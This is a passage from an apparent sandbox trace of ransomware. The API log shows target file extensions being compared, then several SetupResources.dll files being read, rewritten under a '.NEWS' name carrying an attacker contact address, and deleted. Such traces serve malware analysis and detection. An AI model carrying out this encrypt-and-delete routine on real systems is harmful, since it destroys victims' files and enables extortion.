(lpString1=".bz2", lpString2=".cmd") returned -1 [0061.558] lstrlenW (lpString=".7z") returned 3 [0061.558] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString=".dbf") returned 4 [0061.558] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString=".1cd") returned 4 [0061.558] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString=".jpg") returned 4 [0061.558] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.558] lstrlenW (lpString=".doc") returned 4 [0061.558] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".docx") returned 5 [0061.558] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.558] lstrlenW (lpString=".pdf") returned 4 [0061.558] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".xls") returned 4 [0061.558] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.558] lstrlenW (lpString=".xlsx") returned 5 [0061.558] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.559] lstrlenW (lpString=".ppt") returned 4 [0061.559] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.559] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.559] lstrlenW (lpString=".zip") returned 4 [0061.559] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.559] lstrlenW (lpString=".rar") returned 4 [0061.559] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.559] lstrlenW (lpString=".bz2") returned 4 [0061.559] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.559] lstrlenW (lpString=".7z") returned 3 [0061.559] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.559] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.559] lstrlenW (lpString=".dbf") returned 4 [0061.559] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.559] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.559] lstrlenW (lpString=".1cd") returned 4 [0061.559] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.559] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0061.559] lstrlenW (lpString=".jpg") returned 4 [0061.559] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.559] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0061.559] lstrlenW (lpString="SetupResources.dll") returned 18 [0061.559] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.560] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=17240) returned 1 [0061.560] CloseHandle (hObject=0x2c8) returned 1 [0061.560] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0061.560] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.560] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0061.560] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.560] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0061.563] GetLastError () returned 0x0 [0061.563] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4358, lpOverlapped=0x0) returned 1 [0061.565] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4360, lpOverlapped=0x0) returned 1 [0061.566] ReadFile (in: hFile=0x2c8, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.566] WriteFile (in: hFile=0x2f0, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0061.566] SetEndOfFile (hFile=0x2f0) returned 1 [0061.567] CloseHandle (hObject=0x2f0) returned 1 [0061.568] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.568] SetEndOfFile (hFile=0x2c8) returned 1 [0061.569] CloseHandle (hObject=0x2c8) returned 1 [0061.569] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.569] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0061.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.569] lstrlenW (lpString=".doc") returned 4 [0061.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.569] lstrlenW (lpString=".docx") returned 5 [0061.569] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.569] lstrlenW (lpString=".pdf") returned 4 [0061.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".xls") returned 4 [0061.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".xlsx") returned 5 [0061.570] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.570] lstrlenW (lpString=".ppt") returned 4 [0061.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString=".zip") returned 4 [0061.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".rar") returned 4 [0061.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".bz2") returned 4 [0061.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.570] lstrlenW (lpString=".7z") returned 3 [0061.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString=".dbf") returned 4 [0061.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString=".1cd") returned 4 [0061.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString=".jpg") returned 4 [0061.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.570] lstrlenW (lpString=".doc") returned 4 [0061.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".docx") returned 5 [0061.570] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0061.570] lstrlenW (lpString=".pdf") returned 4 [0061.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".xls") returned 4 [0061.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0061.570] lstrlenW (lpString=".xlsx") returned 5 [0061.571] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0061.571] lstrlenW (lpString=".ppt") returned 4 [0061.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0061.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.571] lstrlenW (lpString=".zip") returned 4 [0061.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0061.571] lstrlenW (lpString=".rar") returned 4 [0061.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0061.571] lstrlenW (lpString=".bz2") returned 4 [0061.571] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0061.571] lstrlenW (lpString=".7z") returned 3 [0061.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0061.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.571] lstrlenW (lpString=".dbf") returned 4 [0061.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0061.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.571] lstrlenW (lpString=".1cd") returned 4 [0061.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0061.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0061.571] lstrlenW (lpString=".jpg") returned 4 [0061.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0061.571] Sleep (dwMilliseconds=0x64) [0061.778] Sleep (dwMilliseconds=0x64) [0063.374] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0063.374] lstrlenW (lpString="SetupResources.dll") returned 18 [0063.374] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.383] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18264) returned 1 [0063.383] CloseHandle (hObject=0x2f4) returned 1 [0063.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0063.383] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.384] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.384] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.384] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.384] GetLastError () returned 0x0 [0063.384] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4758, lpOverlapped=0x0) returned 1 [0063.386] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4760, lpOverlapped=0x0) returned 1 [0063.388] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.388] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0063.388] SetEndOfFile (hFile=0x31c) returned 1 [0063.388] CloseHandle (hObject=0x31c) returned 1 [0063.389] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.389] SetEndOfFile (hFile=0x2f4) returned 1 [0063.390] CloseHandle (hObject=0x2f4) returned 1 [0063.390] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.390] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0063.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.391] lstrlenW (lpString=".doc") returned 4 [0063.391] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString=".docx") returned 5 [0063.391] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0063.391] lstrlenW (lpString=".pdf") returned 4 [0063.391] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString=".xls") returned 4 [0063.391] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString=".xlsx") returned 5 [0063.391] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0063.391] lstrlenW (lpString=".ppt") returned 4 [0063.391] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.391] lstrlenW (lpString=".zip") returned 4 [0063.391] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString=".rar") returned 4 [0063.391] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.391] lstrlenW (lpString=".bz2") returned 4 [0063.391] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.391] lstrlenW (lpString=".7z") returned 3 [0063.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.391] lstrlenW (lpString=".dbf") returned 4 [0063.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.391] lstrlenW (lpString=".1cd") returned 4 [0063.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".jpg") returned 4 [0063.392] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".doc") returned 4 [0063.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString=".docx") returned 5 [0063.392] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0063.392] lstrlenW (lpString=".pdf") returned 4 [0063.392] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString=".xls") returned 4 [0063.392] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString=".xlsx") returned 5 [0063.392] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0063.392] lstrlenW (lpString=".ppt") returned 4 [0063.392] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".zip") returned 4 [0063.392] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString=".rar") returned 4 [0063.392] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.392] lstrlenW (lpString=".bz2") returned 4 [0063.392] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.392] lstrlenW (lpString=".7z") returned 3 [0063.392] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".dbf") returned 4 [0063.392] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".1cd") returned 4 [0063.392] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0063.392] lstrlenW (lpString=".jpg") returned 4 [0063.393] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.393] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0063.393] lstrlenW (lpString="SetupResources.dll") returned 18 [0063.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.393] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18776) returned 1 [0063.393] CloseHandle (hObject=0x2f4) returned 1 [0063.393] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0063.393] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.393] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.393] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.395] GetLastError () returned 0x0 [0063.395] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x4958, lpOverlapped=0x0) returned 1 [0063.397] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x4960, lpOverlapped=0x0) returned 1 [0063.398] ReadFile (in: hFile=0x2f4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x31c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf8, lpOverlapped=0x0) returned 1 [0063.398] SetEndOfFile (hFile=0x31c) returned 1 [0063.399] CloseHandle (hObject=0x31c) returned 1 [0063.400] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.400] SetEndOfFile (hFile=0x2f4) returned 1 [0063.401] CloseHandle (hObject=0x2f4) returned 1 [0063.401] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.401] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0063.401] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".doc") returned 4 [0063.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString=".docx") returned 5 [0063.402] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0063.402] lstrlenW (lpString=".pdf") returned 4 [0063.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString=".xls") returned 4 [0063.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString=".xlsx") returned 5 [0063.402] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0063.402] lstrlenW (lpString=".ppt") returned 4 [0063.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".zip") returned 4 [0063.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString=".rar") returned 4 [0063.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString=".bz2") returned 4 [0063.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.402] lstrlenW (lpString=".7z") returned 3 [0063.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".dbf") returned 4 [0063.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".1cd") returned 4 [0063.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".jpg") returned 4 [0063.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.402] lstrlenW (lpString=".doc") returned 4 [0063.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString=".docx") returned 5 [0063.403] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0063.403] lstrlenW (lpString=".pdf") returned 4 [0063.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString=".xls") returned 4 [0063.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString=".xlsx") returned 5 [0063.403] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0063.403] lstrlenW (lpString=".ppt") returned 4 [0063.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.403] lstrlenW (lpString=".zip") returned 4 [0063.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString=".rar") returned 4 [0063.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0063.403] lstrlenW (lpString=".bz2") returned 4 [0063.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0063.403] lstrlenW (lpString=".7z") returned 3 [0063.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0063.403] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0063.403] lstrlenW (lpString=".dbf") returned 4 [0063.403] 